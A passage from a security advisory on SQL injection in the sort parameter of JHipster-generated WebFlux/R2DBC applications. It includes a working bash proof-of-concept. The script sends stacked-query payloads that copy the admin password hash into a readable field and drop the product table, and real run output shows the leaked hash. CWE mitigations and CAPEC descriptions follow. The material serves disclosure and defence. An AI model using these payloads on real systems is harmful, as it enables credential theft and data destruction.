--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET \u003e app-prod.log 2\u003e\u00261 \u003c /dev/null \u0026\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash \u003cpath-to\u003e/poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027id_token\u0027])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name\u0027 ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))\u0027 || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" \\\n | python3 -c \"import sys,json;[print(\u0027 id=%s name=%s\u0027%(p[\u0027id\u0027],p[\u0027name\u0027])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])\u0027 || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name\u0027 -\u003e raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]\u0027 ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name\u0027 ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product \u0027name\u0027 now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\u003cimg width=\"1280\" height=\"1519\" alt=\"evidence-01-h2\" src=\"https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77\" /\u003e\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name\u0027 ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name\u0027 ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -\u003e subsequent list: status 500 \"Failure during data access\"\n```\n\u003cimg width=\"1280\" height=\"891\" alt=\"evidence-02-postgresql\" src=\"https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142\" /\u003e",
"id": "GHSA-r223-96jv-q533",
"modified": "2026-10-08T17:40:37Z",
"published": "2026-10-08T17:40:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhipster/generator-jhipster"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.